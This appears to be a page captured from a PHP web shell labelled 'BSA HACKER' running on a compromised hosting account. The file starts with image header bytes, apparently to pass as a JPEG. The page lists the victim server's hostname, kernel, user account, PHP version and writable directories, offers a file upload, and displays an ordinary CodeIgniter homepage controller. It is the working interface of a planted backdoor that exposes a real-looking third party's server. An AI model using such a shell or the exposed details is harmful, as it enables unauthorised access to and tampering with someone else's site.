ÿØÿàJFIFHHÿá .
BSA HACKER
Logo of a company Server : Apache
System : Linux nusantara.hosteko.com 4.18.0-553.16.1.lve.el8.x86_64 #1 SMP Tue Aug 13 17:45:03 UTC 2024 x86_64
User : koperas1 ( 1254)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /home/koperas1/public_html/app/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/koperas1/public_html/app/Controllers/Home.php
<?php

namespace App\Controllers;

use App\Models\Berita_model;
use App\Models\Client_model;
use App\Models\Galeri_model;
use App\Models\Konfigurasi_model;

class Home extends BaseController
{
    // Homepage
    public function index()
    {
        $m_konfigurasi = new Konfigurasi_model();
        $m_galeri      = new Galeri_model();
        $m_client      = new Client_model();
        $m_berita      = new Berita_model();
        $konfigurasi   = $m_konfigurasi->listing();
        $slider        = $m_galeri->slider();
        $client        = $m_client->testimoni();
        $berita2       = $m_berita->beranda();

        $data = ['title'  => $konfigurasi['namaweb'] . ' | ' . $konfigurasi['tagline'],
            'description' => $konfigurasi['namaweb'] . ', ' . $konfigurasi['tentang'],
            'keywords'    => $konfigurasi['namaweb'] . ', ' . $konfigurasi['keywords'],
            'slider'      => $slider,
            'konfigurasi' => $konfigurasi,
            'client'      => $client,
            'berita2'     => $berita2,
            'content'     => 'home/index',
        ];
        echo view('layout/wrapper', $data);
    }
}